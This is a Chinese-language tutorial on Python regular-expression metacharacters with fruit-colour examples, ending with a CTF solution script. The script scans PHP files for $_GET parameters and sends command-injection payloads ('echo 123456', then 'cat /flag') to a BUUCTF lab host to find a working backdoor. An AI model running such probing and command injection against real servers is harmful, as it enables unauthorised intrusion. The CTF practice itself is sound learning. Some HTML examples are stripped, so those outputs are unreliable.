.表示匹配除了换行符之外的任意单个字符
例:
content = '''苹果是绿色的 橙子是橙色的 香蕉是黄色的 乌鸦是黑色的''' import re p = re.compile(r'.色') for one in p.findall(content): print(one)
output:
绿色 橙色 黄色 黑色
星号 * 重复匹配任意次
*表示匹配前面的子表达式任意次,包括0次
例:
content = '''苹果,是绿色的 橙子,是橙色的 香蕉,是黄色的 乌鸦,是黑色的 猴子,''' import re p = re.compile(r',.*') for one in p.findall(content): print(one)
output:
,是绿色的 ,是橙色的 ,是黄色的 ,是黑色的 ,
加号 + 重复匹配至少一次
+表示匹配前面的子表达式至少一次,也就是说不包括0次
例:
c
ontent = '''苹果,是绿色的 橙子,是橙色的 香蕉,是黄色的 乌鸦,是黑色的 猴子,''' import re p = re.compile(r',.+') for one in p.findall(content): print(one)
output:
,是绿色的 ,是橙色的 ,是黄色的 ,是黑色的
问号 ? 表示匹配0或1次
?表示匹配前面的子表达式0次或者1次
例:
content = '''苹果,是绿色的 橙子,是橙色的 香蕉,是黄色的 乌鸦,是黑色的 猴子,''' import re p = re.compile(r',.?') for one in p.findall(content): print(one)
output:
,是 ,是 ,是 ,是 ,
花括号 {} -匹配指定次数
花括号表示前面的字符匹配指定的次数
例:
content = '''红彤彤,绿油油,黑乎乎,绿油油油油,'''
import re
p = re.compile(r'.油{2,4}')
for one in p.findall(content):
print(one)
output:
绿油油 绿油油油油
贪婪模式和非贪婪模式
例:
我们要把下面的字符串中的所有html标签都提取出来
source = 'Title '
代码:
content = 'Title ' import re p = re.compile(r'<.*>') for i in p.findall(content): print(i)
output:
Title
结果发现并不是我们想要的结果,是因为元字符这些都默认是贪婪模式<.>,在后面加一个问好就可以变成非贪婪模式<.?>
代码:
content = 'Title ' import re p = re.compile(r'<.*?>') for i in p.findall(content): print(i)
output:
ctf例题:强网杯 2019 WEB高明的黑客
代码:
import re
import os
import requests
files = os.listdir('src/')
reg = re.compile(r'$_[GET]{3}\['(.+)'\]')
for i in files:
f = open('src/'+i)
print('检查文件'+i)
data = f.read()
f.close()
result = reg.findall(data)
#print(i,result,"n")
url = 'http://2073ca8f-43a7-4086-b9b6-c03b0ddd39f3.node4.buuoj.cn:81/'
for j in result:
payload = url + i + '?' + j + '=echo 123456'
#print(payload)
try:
res = requests.get(url=payload,timeout=5)
except:
print(222222222)
if '123456' in res.text:
print(payload)
payload1=url+i+'?'+j+'=cat /flag'
res1 = requests.get(url=payload1)
#print(payload1)
reg1 = re.compile(r'flag\{.*?\}')
result_flag = reg1.findall(res1.text)
print(result_flag)
参考资料:b站白月黑羽,BUUCTF在线靶场



